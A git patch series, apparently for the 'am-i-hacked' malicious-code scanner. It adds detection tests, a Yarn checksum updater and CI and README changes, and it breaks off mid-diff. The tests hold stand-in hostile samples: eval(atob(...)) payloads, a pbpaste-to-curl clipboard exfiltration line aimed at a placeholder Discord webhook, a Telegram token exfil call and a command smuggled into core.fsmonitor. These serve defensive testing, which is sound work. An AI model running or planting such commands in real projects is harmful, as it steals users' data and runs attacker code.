1aa43a5304405be7a7cb9cb5de7b97de9c4e8ddd3273e4dad00d6ae3eb39f0ef +4.3.0 d7f2fd514a5862009753c52798cc48ae602d181c09341cf2ff8b9c935dc3db1a +4.3.1 2535167e742927e1d2a1610d5004576e4e8f764d2ca5470d19536790f55cd6e2 +4.4.0 5f228cb28f2edb97d8c3b667fb7b2fdcf06c46798e25ea889dad9e0b4bc2e2c1 +4.4.1 920b4530755296dc2ce8b4351f057d4a26429524fcb2789d277560d94837c27e +4.5.0 cc00dce5de4f68d11450519a0f69eadf2a1cbe5cc0d8e740bfac817a31d76874 +4.5.1 dc2e45a77f87a9c2a76708d098ab54ca0cfdd5ec2cf7d9e3c1f24bf786a2383c +4.5.2 39e9d353df232402a3cfd07406ce282ea58e1e6c521933216a79fbd19186c687 +4.5.3 dddc0b96ad2dca8d56a5302b56bf3cbf8210654474a6bf88877da61e866f3d46 +4.6.0 eaf1eeabc164a44ca0b65dbdccd54af7e55f3ff9294b3ff318d5aaec92f2b20b +4.7.0 293632d8a095d8ea4786eb2c5798c83c37544abed17ed31186a3ec4549a07c06 +4.8.0 31aef80b650f9dfdc06153df8d0610e46fec2ff680811cdd7f8f6fd47424df33 +4.8.1 8c8cf7bef23cced7c138d0da3ea72d43d2626727f1ae309edb853c41ab18ef1c +4.9.0 aef91daefd2885e10276bbaa4007a1d24eccb6b6cf133dd79ac6a9d7582fcb32 +4.9.1 69d58c070455f205aaac0c9136fc295a493a399a5ab516624ad2051536d539f1 +4.9.2 ca4310f8ba997b4643a000ce512d9772e01c1485df35511114b325315960acb7 +4.9.3 a64183b9bc923922c8ac744fb557234e05a6b94906020be7d2139c187840537c +4.9.4 516deeeced90791213ddcffc8d6712fcea7adff3e8d9879804284ba713462ce2 +4.10.1 765b429e769a3d448960ddb292706490888da6110fc53cdba1870783f4f65d8b +4.10.2 14d15aba29ec813184b7ae1fe225ff8e0b6aeceba332029de43346a0bc564b91 +4.10.3 cd71753d68307301d21034efaf20bd8eee81f9450af75f068477bf9011bb9ad4 +4.11.0 b0efc6597348fab50c777d2ff4b09e814974058cf012c3d687c9e80bca824358 +4.12.0 1fe4e1193cbcd13a48d8f436bb17d3c672b049a5e32a758aab9866a073db1702 +4.13.0 730e0619753d39754c9e7613c7e57f084ea18b3244f5ba9a5a60bd3da048450b +4.14.0 a43886e6c089effa3331ef81043ac6ad3b4d976a2423c6c9221d87de3af64dcb +4.14.1 5c7a0c5ea1c5b690df603c8e16b3742f87169b814d56bb5e63881145e8a84033 +4.15.0 31cb07af197fac43b14bf97a8a03a7010dda364ec8d8b78b0d3d437fdf41a072 +4.16.0 ba05224324578801b9cc98170d64aa50b9a36733b440fb0942306da3fbbdc7d1 +4.17.0 ea2af31ee4a6535e8559e3e1a6e34cb716112c9bed86edea71c3a5b36d472265 +4.17.1 471ffb15e0523663865bbf46a69e7d157ecf532412eb436c48dfab6e3f2abe88 +4.18.0 fb8b1d20be72a0b544a35bcec4c7ed0ff55a9b173c01f191b02ba164b2051db5 +4.18.1 a28ad591febb769f939c11f82f89bacad0b0fac0c884d3b78fa2aaaee970907e diff --git a/apps/am-i-hacked/package.json b/apps/am-i-hacked/package.json index 5969608..b9d51be 100644 --- a/apps/am-i-hacked/package.json +++ b/apps/am-i-hacked/package.json @@ -1,6 +1,6 @@ { "name": "am-i-hacked", - "version": "2.0.0", + "version": "2.0.1", "description": "Scan a project for malicious code and audit your machine for persistence, capture tools and risky AI-tool config", "license": "MIT", "author": "Isaac Bell ", diff --git a/apps/am-i-hacked/test/scanner.bats b/apps/am-i-hacked/test/scanner.bats index 314f786..6b48c78 100644 --- a/apps/am-i-hacked/test/scanner.bats +++ b/apps/am-i-hacked/test/scanner.bats @@ -562,6 +562,21 @@ write_file() { assert_success } +@test "the scanned repo's .git/config cannot run a command during the scan" { + git init -q "$TMP" + write_file ".env" 'API_KEY=placeholder' + git -C "$TMP" add .env + # Set after `git add`, which would run the hook itself. + git -C "$TMP" config core.fsmonitor "touch '$TMP.ran'; false" + scan + if [[ -e "$TMP.ran" ]]; then + rm -f "$TMP.ran" + fail "core.fsmonitor from the scanned repo ran during the scan" + fi + assert_failure + assert_output --partial "Tracked .env file" +} + # ------------------------------------------------------------------------------- # Long source lines # ------------------------------------------------------------------------------- @@ -602,14 +617,36 @@ write_file() { assert_success } -@test "build output dirs are never scanned" { - for d in dist build out coverage .next .turbo .cache .git; do +@test ".git is never scanned" { + write_file ".git/evil.js" 'eval(atob("bad"))' + scan + assert_success +} + +@test "untracked build output that .gitignore lists is not scanned" { + git init -q "$TMP" + write_file ".gitignore" 'dist/' 'build/' 'out/' 'coverage/' '.next/' '.turbo/' '.cache/' + git -C "$TMP" add .gitignore + for d in dist build out coverage .next .turbo .cache; do write_file "$d/evil.js" 'eval(atob("bad"))' done scan assert_success } +@test "committed build output is scanned" { + git init -q "$TMP" + write_file ".gitignore" 'dist/' + write_file "dist/index.js" 'eval(atob("bad"))' + write_file "build/setup.js" 'eval(atob("bad"))' + git -C "$TMP" add .gitignore build/setup.js + git -C "$TMP" add -f dist/index.js + scan + assert_failure + assert_output --partial "dist/index.js:1" + assert_output --partial "build/setup.js:1" +} + @test "fixtures dir is excluded by default" { write_file "__security_gate_fixtures__/evil.js" 'eval(atob("bad"))' scan @@ -630,6 +667,95 @@ write_file() { assert_success } +# The repo under review owns its dot-directories and ignore files, so neither +# may hide a payload from the scan. + +@test "source files in dot-directories are scanned" { + write_file ".vscode/helper.js" 'eval(atob("bad"))' + write_file ".github/scripts/setup.js" 'execSync(cmd)' + big="$(printf 'A%.0s' {1..4000})" + write_file ".husky/_/run.js" "var x = \"${big}\";" + scan + assert_failure + assert_output --partial ".vscode/helper.js:1" + assert_output --partial ".github/scripts/setup.js:1" + assert_output --partial ".husky/_/run.js:1" +} + +@test "an extensionless script in a dot-directory is checked for capture and exfiltration" { + write_file ".devcontainer/sync-agent" \ + '#!/bin/bash' \ + 'pbpaste | curl -s "https://discord.com/api/webhooks/123/abc" --data-binary @-' + scan + assert_failure + assert_output --partial ".devcontainer/sync-agent:2" +} + +@test ".ignore and .rgignore files cannot hide a payload" { + write_file ".ignore" 'a/' + write_file ".rgignore" 'b/' + write_file "a/evil.js" 'eval(atob("bad"))' + write_file "b/evil.js" 'eval(atob("bad"))' + scan + assert_failure + assert_output --partial "a/evil.js:1" + assert_output --partial "b/evil.js:1" +} + +@test "a .gitignore cannot hide a tracked payload" { + git init -q "$TMP" + write_file ".gitignore" 'lib/' 'sync-agent' + write_file "lib/evil.js" 'eval(atob("bad"))' + write_file "sync-agent" \ + '#!/bin/bash' \ + 'pbpaste | curl -s "https://discord.com/api/webhooks/123/abc" --data-binary @-' + git -C "$TMP" add .gitignore + git -C "$TMP" add -f lib/evil.js sync-agent + scan + assert_failure + assert_output --partial "lib/evil.js:1" + assert_output --partial "sync-agent:2" +} + +@test "untracked files that git ignores are not scanned" { + git init -q "$TMP" + write_file ".gitignore" 'generated/' '.venv/' + git -C "$TMP" add .gitignore + write_file "generated/bundle.js" 'eval(atob("bad"))' + write_file ".venv/lib/site.py" 'eval(atob("bad"))' + write_file "src/index.js" 'console.log("hello")' + scan + assert_success +} + +@test "a tracked payload beside untracked ignored files is still scanned" { + git init -q "$TMP" + write_file ".gitignore" 'generated/' + write_file "generated/bundle.js" 'console.log("built")' + write_file "generated/evil.js" 'eval(atob("bad"))' + git -C "$TMP" add .gitignore + git -C "$TMP" add -f generated/evil.js + scan + assert_failure + assert_output --partial "generated/evil.js:1" + assert_output --partial "am-i-hacked: FAILED — 1 finding across 1 file" +} + +@test "tracked ignored files are found under a root path with glob characters" { + local root="$TMP/odd [dir] *?" + mkdir -p "$root/generated" + git init -q "$root" + printf '%s\n' 'generated/' >"$root/.gitignore" + printf '%s\n' 'eval(atob("bad"))' >"$root/generated/bundle.js" + printf '%s\n' 'eval(atob("bad"))' >"$root/generated/evil.js" + git -C "$root" add .gitignore + git -C "$root" add -f generated/evil.js + run bash "$SCRIPT" "$root" + assert_failure + assert_output --partial "generated/evil.js:1" + refute_output --partial "generated/bundle.js" +} + # ------------------------------------------------------------------------------- # package.json script inspection # ------------------------------------------------------------------------------- @@ -721,7 +847,7 @@ write_file() { run --separate-stderr env AIH_PROGRESS=1 bash "$SCRIPT" "$TMP" assert_failure 1 [[ "$stderr" == *"am-i-hacked: scanning"* ]] - [[ "$stderr" == *"[19/19]"* ]] + [[ "$stderr" == *"[20/20]"* ]] [[ "$stderr" == *"1 found"* ]] [[ "$output" != *"found so far"* ]] } @@ -921,6 +1047,64 @@ FAKE_TELEGRAM_TOKEN="123456789:$(printf '%035d' 0 | tr 0 A)" assert_success } +# ------------------------------------------------------------------------------- +# Build-output detection (webpack/esbuild/ncc bundles) +# ------------------------------------------------------------------------------- + +@test "build-output with only low-signal patterns is reported but passes" { + write_file "dist/index.js" \ + '/******/ (() => { // webpackBootstrap' \ + '/******/ var __webpack_modules__ = {' \ + '/******/ };' \ + '/******/ function __webpack_require__(moduleId) {' \ + '/******/ return __webpack_modules__[moduleId].exports;' \ + '/******/ }' \ + 'const spawn = require("child_process").spawn;' \ + 'const https = require("https");' \ + 'global.x = {};' + scan + assert_success + assert_output --partial "build output, routine matches in bundled code not counted:" + assert_output --partial "dist/index.js:" + assert_output --partial "matches" +} + +@test "build-output with high-signal pattern fails and is listed as a finding" { + write_file "dist/index.js" \ + '/******/ (() => { // webpackBootstrap' \ + '/******/ var __webpack_modules__ = {' \ + '/******/ };' \ + "const token = \"${FAKE_TELEGRAM_TOKEN}\";" \ + 'fetch("https://api.telegram.org/bot" + token + "/sendMessage", {method:"POST"})' + scan + assert_failure + assert_output --partial "Telegram bot token literal" + refute_output --partial "build output, routine matches" +} + +@test "build-output: a marker after byte 4096 is scanned normally" { + local big="$(printf 'A%.0s' {1..4100})" + write_file "dist/index.js" \ + "var x = \"${big}\";" \ + 'const __webpack_require__ = function() { eval("x"); };' + scan + assert_failure + assert_output --partial "Dynamic code execution" + assert_output --partial "source line exceeds 4000 characters" +} + +@test "build-output: eval in a bundle is tracked but not flagged" { + write_file "dist/bundle.js" \ + '/******/ (() => {' \ + 'const __nccwpck_require__ = () => {};' \ + 'const __toESM = () => { eval("x"); };' + scan + assert_success + assert_output --partial "build output, routine matches in bundled code not counted:" + assert_output --partial "dist/bundle.js:" + assert_output --partial "am-i-hacked: PASSED" +} + @test "no false positive: a capture + exfil combo under node_modules is not flagged" { write_file "node_modules/evil/clip.js" \ 'const c = require("clipboardy")' \ @@ -956,6 +1140,183 @@ FAKE_TELEGRAM_TOKEN="123456789:$(printf '%035d' 0 | tr 0 A)" refute_output --partial "declare:" } +# ------------------------------------------------------------------------------- +# Real-world repository shapes +# +# Synthetic stand-ins for shapes seen in real repositories. No fixture here is a +# real Yarn release or a real payload: each file is written by the test and only +# scanned, never executed. The Yarn check reads its hash table from +# AIH_YARN_RELEASES so tests never touch the shipped bin/yarn-releases.tsv. +# ------------------------------------------------------------------------------- + +# sha256_of — the sha256 hex digest, via sha256sum or shasum. +sha256_of() { + if command -v sha256sum >/dev/null 2>&1; then + sha256sum "$1" | cut -d' ' -f1 + else + shasum -a 256 "$1" | cut -d' ' -f1 + fi +} + +@test "yarn release: a hash that is in the table is verified and passes" { + big="$(printf 'A%.0s' {1..4001})" + write_file ".yarn/releases/yarn-4.0.0.cjs" 'eval(atob("x"))' "var x = \"${big}\";" + hash="$(sha256_of "$TMP/.yarn/releases/yarn-4.0.0.cjs")" + write_file "yarn-releases.tsv" "4.0.0"$'\t'"${hash}" + run env AIH_YARN_RELEASES="$TMP/yarn-releases.tsv" bash "$SCRIPT" "$TMP" + assert_success + assert_output --partial "verified official Yarn release .yarn/releases/yarn-4.0.0.cjs" +} + +@test "yarn release: one changed byte fails as unknown, with no content findings" { + big="$(printf 'A%.0s' {1..4001})" + write_file ".yarn/releases/yarn-4.0.0.cjs" 'eval(atob("x"))' "var x = \"${big}\";" + hash="$(sha256_of "$TMP/.yarn/releases/yarn-4.0.0.cjs")" + write_file "yarn-releases.tsv" "4.0.0"$'\t'"${hash}" + printf 'x' >>"$TMP/.yarn/releases/yarn-4.0.0.cjs" + run env AIH_YARN_RELEASES="$TMP/yarn-releases.tsv" bash "$SCRIPT" "$TMP" + assert_failure + assert_output --partial "Yarn release does not match any official Yarn release" + assert_equal "$(count_in_output '.yarn/releases/yarn-4.0.0.cjs:')" 1 + refute_output --partial "source line exceeds" + refute_output --partial "Dynamic code execution" +} + +@test "yarn release: a release file with an empty table fails" { + big="$(printf 'A%.0s' {1..4001})" + write_file ".yarn/releases/yarn-4.0.0.cjs" 'eval(atob("x"))' "var x = \"${big}\";" + write_file "yarn-releases.tsv" "" + run env AIH_YARN_RELEASES="$TMP/yarn-releases.tsv" bash "$SCRIPT" "$TMP" + assert_failure + assert_output --partial "Yarn release does not match any official Yarn release" +} + +@test "yarn release: a missing table fails closed and names the table path" { + big="$(printf 'A%.0s' {1..4001})" + write_file ".yarn/releases/yarn-4.0.0.cjs" 'eval(atob("x"))' "var x = \"${big}\";" + run --separate-stderr env AIH_YARN_RELEASES="$TMP/missing-yarn-releases.tsv" bash "$SCRIPT" "$TMP" + assert_failure + [[ "${output}${stderr}" == *"missing-yarn-releases.tsv"* ]] + assert_output --partial "Yarn release does not match any official Yarn release" +} + +@test "yarn release: a verified release does not hide a payload elsewhere" { + big="$(printf 'A%.0s' {1..4001})" + write_file ".yarn/releases/yarn-4.0.0.cjs" 'eval(atob("x"))' "var x = \"${big}\";" + hash="$(sha256_of "$TMP/.yarn/releases/yarn-4.0.0.cjs")" + write_file "yarn-releases.tsv" "4.0.0"$'\t'"${hash}" + write_file "src/evil.js" 'eval(atob("x"))' + run env AIH_YARN_RELEASES="$TMP/yarn-releases.tsv" bash "$SCRIPT" "$TMP" + assert_failure + assert_output --partial "src/evil.js:1" + assert_output --partial "verified official Yarn release .yarn/releases/yarn-4.0.0.cjs" + assert_output --partial "am-i-hacked: FAILED — 1 finding across 1 file" +} + +@test "pnp wasm: an embedded octet-stream wasm data URL is exempt from the long-line check" { + b64="AGFzbQ$(printf 'A%.0s' {1..4994})" + write_file ".pnp.cjs" "var wasmBinaryFile = \"data:application/octet-stream;base64,${b64}\";" + scan + assert_success +} + +@test "pnp wasm: appending ;eval(x) to the wasm line is not exempt" { + b64="AGFzbQ$(printf 'A%.0s' {1..4994})" + write_file ".pnp.cjs" "var wasmBinaryFile = \"data:application/octet-stream;base64,${b64}\";eval(x)" + scan + assert_failure + assert_output --partial "source line exceeds 4000 characters" +} + +@test "long line: a text/javascript data URL is not a wasm exemption" { + b64="$(printf 'A%.0s' {1..5000})" + write_file "bundle.js" "var p = \"data:text/javascript;base64,${b64}\";" + scan + assert_failure + assert_output --partial "source line exceeds 4000 characters" +} + +@test "node-modules repo: a plain Yarn setup with an untracked node_modules passes" { + write_file ".yarnrc.yml" 'nodeLinker: node-modules' + write_file "package.json" '{ "scripts": { "build": "tsc", "test": "vitest run" } }' + write_file "node_modules/evil/index.js" 'eval(atob("x"))' + scan + assert_success +} + +@test "husky v9 repo: a tracked hook beside an untracked ignored .husky/_ passes" { + git init -q "$TMP" + write_file ".gitignore" '.husky/_/' + write_file ".husky/pre-commit" 'pnpm exec lint-staged' + write_file ".husky/_/husky.sh" 'eval(atob("x"))' + git -C "$TMP" add .gitignore + scan + assert_success +} + +@test "vscode extension repo: an npm watch build task and launch.json pass" { + write_file ".vscode/tasks.json" \ + '{"version":"2.0.0","tasks":[{"type":"npm","script":"watch","problemMatcher":"$tsc-watch","group":{"kind":"build","isDefault":true}}]}' + write_file ".vscode/launch.json" \ + '{"version":"0.2.0","configurations":[{"name":"Run Extension","type":"extensionHost","request":"launch","args":["--extensionDevelopmentPath=${workspaceFolder}"]}]}' + scan + assert_success +} + +@test "devcontainer repo: a postCreateCommand that runs pnpm install passes" { + write_file ".devcontainer/devcontainer.json" \ + '{"image":"mcr.microsoft.com/devcontainers/base:debian","postCreateCommand":"pnpm install"}' + scan + assert_success +} + +@test "release script: execFileSync with a literal command and options object passes" { + write_file ".github/scripts/release.js" \ + 'const { execFileSync } = require("child_process");' \ + 'execFileSync("git", ["tag"], { stdio: "inherit" });' + scan + assert_success +} + +@test "python repo: a plain noxfile passes while an untracked ignored venv is skipped" { + git init -q "$TMP" + write_file ".gitignore" '.venv/' + write_file "pyproject.toml" '[project]' 'name = "example"' 'version = "0.1.0"' + write_file "noxfile.py" \ + 'import nox' \ + '' \ + '@nox.session' \ + 'def tests(session):' \ + ' session.run("pytest", "-q")' + write_file ".venv/lib/site.py" 'eval(atob("x"))' + git -C "$TMP" add .gitignore pyproject.toml noxfile.py + scan + assert_success +} + +@test "next.js repo: untracked ignored build output is skipped" { + git init -q "$TMP" + write_file ".gitignore" '.next/' + big="$(printf 'A%.0s' {1..5000})" + write_file ".next/server/app.js" "var x = \"${big}\";" + git -C "$TMP" add .gitignore + scan + assert_success +} + +@test "next.js repo: force-added build output is scanned" { + git init -q "$TMP" + write_file ".gitignore" '.next/' + big="$(printf 'A%.0s' {1..5000})" + write_file ".next/server/app.js" "var x = \"${big}\";" + git -C "$TMP" add .gitignore + git -C "$TMP" add -f .next/server/app.js + scan + assert_failure + assert_output --partial ".next/server/app.js:1" + assert_output --partial "source line exceeds 4000 characters" +} + # --- pending: known gaps, deliberately not in this release ---------------------------------------- @test "pending: a file name containing a colon does not corrupt the path and line number" { diff --git a/mise.toml b/mise.toml index 98e0b9a..f3dc92b 100644 --- a/mise.toml +++ b/mise.toml @@ -78,6 +78,10 @@ run = "bash apps/am-i-hacked/bin/scanner.sh ." description = "Audit this machine: login items and signatures, crontab, shell startup files, agent config, processes" run = "bash apps/am-i-hacked/bin/scanner.sh --system" +[tasks.update-yarn-releases] +description = "Refresh the yarn release checksum table from the npm registry" +run = "bash scripts/update-yarn-releases.sh" + [tasks.am-i-being-recorded] description = "Audit local capture surfaces and browser extensions (macOS/Linux)" run = "bash apps/am-i-being-recorded/bin/am-i-being-recorded.sh" diff --git a/scripts/release.sh b/scripts/release.sh index 610d09b..ec6fd35 100755 --- a/scripts/release.sh +++ b/scripts/release.sh @@ -34,7 +34,7 @@ version=$(jq -r '.version // empty' "$pkg") [[ "$(jq -r '.private // false' "$pkg")" == "false" ]] || die "$name is marked private" hooks=$(jq -r '.scripts // {} | keys[] | select(test("^(pre|post)?(pack|publish|install)$|^prepublishOnly$|^prepare$"))' "$pkg") -[[ -z "$hooks" ]] || die "$name has lifecycle scripts that would run on publish: $(echo $hooks)" +[[ -z "$hooks" ]] || die "$name has lifecycle scripts that would run on publish: ${hooks//$'\n'/ }" echo "release.sh: $name@$version from $dir" case $action in diff --git a/scripts/update-yarn-releases.sh b/scripts/update-yarn-releases.sh new file mode 100755 index 0000000..3dc5f46 --- /dev/null +++ b/scripts/update-yarn-releases.sh @@ -0,0 +1,117 @@ +#!/usr/bin/env bash +set -euo pipefail + +# Refresh apps/am-i-hacked/bin/yarn-releases.tsv — the version -> sha256 table +# of package/bin/yarn.js for every stable release of the npm package +# @yarnpkg/cli-dist. The scanner pins Yarn by content hash, so the table is +# regenerated from the registry and never edited by hand. +# +# For every stable version the table does not already cover, the release +# tarball is downloaded into a scratch directory, checked against the +# registry's sha512 dist.integrity before it is trusted, and then only +# package/bin/yarn.js is extracted and hashed. Nothing downloaded is executed. +# Any download or integrity failure is fatal; the table is replaced atomically. +# +# Run: mise run update-yarn-releases + +REGISTRY_URL="https://registry.npmjs.org/@yarnpkg/cli-dist" +TARBALL_URL_PREFIX="https://registry.npmjs.org/@yarnpkg/cli-dist/-/cli-dist-" + +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +TABLE="$ROOT/apps/am-i-hacked/bin/yarn-releases.tsv" + +WORK="$(mktemp -d)" +OUT_TMP="" +cleanup() { + rm -rf "$WORK" + [[ -z "$OUT_TMP" ]] || rm -f "$OUT_TMP" +} +trap cleanup EXIT + +die() { + printf 'update-yarn-releases: %s\n' "$1" >&2 + exit 1 +} + +sha256_stdin() { + if command -v sha256sum >/dev/null 2>&1; then + sha256sum | cut -d' ' -f1 + else + shasum -a 256 | cut -d' ' -f1 + fi +} + +for tool in curl jq tar openssl sort; do + command -v "$tool" >/dev/null 2>&1 || die "required tool '$tool' not found on PATH" +done + +[[ -f "$TABLE" ]] || die "table not found: $TABLE" + +curl -fsSL --output "$WORK/registry.json" "$REGISTRY_URL" || + die "failed to download $REGISTRY_URL" + +jq -r ' + .versions + | to_entries[] + | select(.key | contains("-") | not) + | select(.value.dist.integrity != null) + | "\(.key)\t\(.value.dist.integrity)" +' "$WORK/registry.json" >"$WORK/versions.tsv" || + die "failed to parse registry metadata with jq" + +# The table's leading comment lines are carried over verbatim. +comments=() +while IFS= read -r line; do + [[ "$line" == \#* ]] || break + comments+=("$line") +done <"$TABLE" + +rows=() +while IFS=$'\t' read -r version hash; do + [[ -n "$version" ]] || continue + [[ "$version" == \#* ]] && continue + [[ -n "$hash" ]] || die "malformed row in $TABLE: $version" + rows+=("$version"$'\t'"$hash") +done <"$TABLE" + +added=0 +while IFS=$'\t' read -r version integrity; do + [[ -n "$version" ]] || continue + # Check if version already exists in the rows array using grep + if ((${#rows[@]} > 0)) && printf '%s\n' "${rows[@]}" | cut -f1 | grep -qxF -- "$version"; then + continue + fi + + [[ "$integrity" == sha512-* && -n "${integrity#sha512-}" ]] || + die "no usable sha512 integrity for $version in the registry metadata" + + printf 'update-yarn-releases: fetching %s\n' "$version" >&2 + tgz="$WORK/cli-dist-$version.tgz" + curl -fsSL --output "$tgz" "${TARBALL_URL_PREFIX}${version}.tgz" || + die "failed to download tarball for $version" + + expected="${integrity#sha512-}" + actual="$(openssl dgst -sha512 -binary "$tgz" | openssl base64 -A)" || + die "failed to hash tarball for $version" + [[ "$actual" == "$expected" ]] || die "integrity mismatch for $version" + + hash="$(tar -xzOf "$tgz" package/bin/yarn.js | sha256_stdin)" || + die "failed to extract package/bin/yarn.js from $version" + + rows+=("$version"$'\t'"$hash") + added=$((added + 1)) +done <"$WORK/versions.tsv" + +OUT_TMP="$(mktemp "$TABLE.tmp.XXXXXX")" +{ + if ((${#comments[@]} > 0)); then + printf '%s\n' "${comments[@]}" + fi + if ((${#rows[@]} > 0)); then + printf '%s\n' "${rows[@]}" | LC_ALL=C sort -V + fi +} >"$OUT_TMP" +mv "$OUT_TMP" "$TABLE" +OUT_TMP="" + +printf 'update-yarn-releases: added %d, total %d\n' "$added" "${#rows[@]}" From 710bbe2daf6b67127596a369fe76a153d9a84a6e Mon Sep 17 00:00:00 2001 From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com> Date: Thu, 1 Oct 2026 20:11:51 -0400 Subject: [PATCH 2/5] Format scanner.sh declarations with shfmt Fixes the Lint, format & tests check. --- apps/am-i-hacked/bin/scanner.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/apps/am-i-hacked/bin/scanner.sh b/apps/am-i-hacked/bin/scanner.sh index 03a213c..00d0d8e 100755 --- a/apps/am-i-hacked/bin/scanner.sh +++ b/apps/am-i-hacked/bin/scanner.sh @@ -247,11 +247,11 @@ readonly YARN_RELEASE_UNVERIFIED_TITLE="Yarn release does not match any official # Telegram tokens, launchers, editor auto-run, asset payloads, .env tracking. # Dynamic code exec, network access, and similar routine patterns in bundled code # are not recorded as findings; matches are counted by file and tag instead. -declare -A BUNDLE_PATH_SET=() # Track which files are build-output -declare -A BUNDLE_IDX=() # Map: pathrel → index in BUNDLE_FILES -declare -a BUNDLE_FILES=() # Build-output files in scan order -declare -a BUNDLE_COUNT=() # Match count per file -declare -a BUNDLE_TAGS=() # Tag list per file (comma-separated, unique) +declare -A BUNDLE_PATH_SET=() # Track which files are build-output +declare -A BUNDLE_IDX=() # Map: pathrel → index in BUNDLE_FILES +declare -a BUNDLE_FILES=() # Build-output files in scan order +declare -a BUNDLE_COUNT=() # Match count per file +declare -a BUNDLE_TAGS=() # Tag list per file (comma-separated, unique) # Low-signal tags: these are not recorded as findings in build-output files readonly -a LOW_SIGNAL_TAGS=( From f0556c2870cfdef2d80c8f3e601a8c2311c48c4f Mon Sep 17 00:00:00 2001 From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com> Date: Thu, 1 Oct 2026 20:23:58 -0400 Subject: [PATCH 3/5] Restore the CodeAnt CI scan workflow in the public repo The workflow existed in the private repo but was never listed in scripts/public-paths.txt, so the public export left it out. Add it to the manifest. It still runs only when the CODEANT_ENABLED repository variable is true and the CODEANT_API_TOKEN secret is set. --- .github/workflows/codeant.yml | 24 ++++++++++++++++++++++++ scripts/public-paths.txt | 1 + 2 files changed, 25 insertions(+) create mode 100644 .github/workflows/codeant.yml diff --git a/.github/workflows/codeant.yml b/.github/workflows/codeant.yml new file mode 100644 index 0000000..8cad8b8 --- /dev/null +++ b/.github/workflows/codeant.yml @@ -0,0 +1,24 @@ +name: CodeAnt CI Scan + +on: + push: + branches: [main] + pull_request: + branches: [main] + +permissions: + contents: read + pull-requests: write + +jobs: + codeant_scan: + name: Run CodeAnt CI scan + runs-on: ubuntu-latest + if: ${{ vars.CODEANT_ENABLED == 'true' }} + steps: + - name: Checkout code + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + - name: Run CodeAnt CI Scan + uses: CodeAnt-AI/codeant-ci-scan-action@82f83c97a923b626244fdbf9b749ae37308eaf9e # v0.0.5 + with: + access_token: ${{ secrets.CODEANT_API_TOKEN }} diff --git a/scripts/public-paths.txt b/scripts/public-paths.txt index 1f108de..4f07989 100644 --- a/scripts/public-paths.txt +++ b/scripts/public-paths.txt @@ -14,6 +14,7 @@ CODEOWNERS .semgrepignore .github/dependabot.yml .github/workflows/ci.yml +.github/workflows/codeant.yml .github/workflows/dependency-review.yml .github/workflows/gate.yml .github/workflows/semgrep.yml From ce43d587340c2e3cf7ee6c63826460a79f029c4e Mon Sep 17 00:00:00 2001 From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com> Date: Thu, 1 Oct 2026 21:43:45 -0400 Subject: [PATCH 4/5] Restore dropped README sections and add a roadmap Restore the Semgrep section, the mise gate and semgrep-strict tasks and the CodeAnt scan mention that the 2.0.0 README rewrite dropped. Add ROADMAP.md with the release scheme and the 2.1.0 candidates. --- README.md | 14 +++++++++++++- ROADMAP.md | 18 ++++++++++++++++++ 2 files changed, 31 insertions(+), 1 deletion(-) create mode 100644 ROADMAP.md diff --git a/README.md b/README.md index 161a787..2188976 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,19 @@ mise run setup # dev dependencies and git hooks mise run check # shellcheck, shfmt check and the bats tests: what CI runs ``` -`mise run` lists every task. The git hooks run the same checks before each commit. CI in [`.github/workflows/`](.github/workflows/) runs the checks and tests, this repository's own security gate, a gitleaks secret scan, Semgrep and dependency review. Releases: [docs/RELEASING.md](docs/RELEASING.md). Changes: each package's `CHANGELOG.md`. +`mise run` lists every task. The git hooks run the same checks before each commit. CI in [`.github/workflows/`](.github/workflows/) runs the checks and tests, this repository's own security gate (`mise run gate`), a gitleaks secret scan, Semgrep, dependency review, and CodeAnt AI scan (opt-in: set the CODEANT_ENABLED repository variable to true and add the CODEANT_API_TOKEN secret). Releases: [docs/RELEASING.md](docs/RELEASING.md). Changes: each package's `CHANGELOG.md`. + +## Semgrep + +[`secure-semgrep`](apps/secure-semgrep/README.md) is the repository's static-analysis pack: bundled, owned rules for AI agents and bash, plus Semgrep loadout packs you can point at any codebase. It lives in [`apps/secure-semgrep`](apps/secure-semgrep/README.md) and publishes to npm as `secure-semgrep`, mirroring how `am-i-hacked` is published. + +Run it over this repository (review mode records findings without breaking the build): + +```bash +$ mise run semgrep +``` + +To turn findings into a hard gate, run `mise run semgrep-strict`. In any other repository, use it the same way as a post-`npm install` script — see the [package README](apps/secure-semgrep/README.md) for loadouts (`react`, `ts`, `node`, `py`, `rust`) and CI snippets. ## Contributing, security and support diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 0000000..8ef9c12 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,18 @@ +# Roadmap + +This is a plan, not a promise. Items can change, slip or be dropped. There are no dates: a release ships when it is ready. Anything that is neither listed here nor filed as an issue is not scheduled. + +Current release: **2.0.1**. + +## How releases work + +- Every fix that merges ships as the next patch release: 2.0.2, then 2.0.3, and so on. +- Issues labeled `release-blocker` gate the next minor release. 2.1.0 ships once every issue with that label is closed. + +## 2.1.0 candidates + +A minor release that widens what the scanner reads and adds an opt-in feature. + +- **Scan gitignored files by default**, with flags to skip gitignored files and to skip hidden files. +- **Full dependency scans** behind a flag (`node_modules` and similar). Scanning dependencies is slower, so it is not the default. +- **`hooks install`**, an optional sub-command that sets up a shell hook which logs the commands run in a terminal. It is opt-in: nothing touches your shell unless you run the command. Logs go to the current folder by default, with an option to choose another destination. From bf2a9b80420d559404f11819680b2cb44051c91b Mon Sep 17 00:00:00 2001 From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com> Date: Fri, 2 Oct 2026 01:47:24 -0400 Subject: [PATCH 5/5] Run the CodeAnt scan on every push now that the token is set --- .github/workflows/codeant.yml | 1 - README.md | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/workflows/codeant.yml b/.github/workflows/codeant.yml index 8cad8b8..3fc6a10 100644 --- a/.github/workflows/codeant.yml +++ b/.github/workflows/codeant.yml @@ -14,7 +14,6 @@ jobs: codeant_scan: name: Run CodeAnt CI scan runs-on: ubuntu-latest - if: ${{ vars.CODEANT_ENABLED == 'true' }} steps: - name: Checkout code uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 diff --git a/README.md b/README.md index 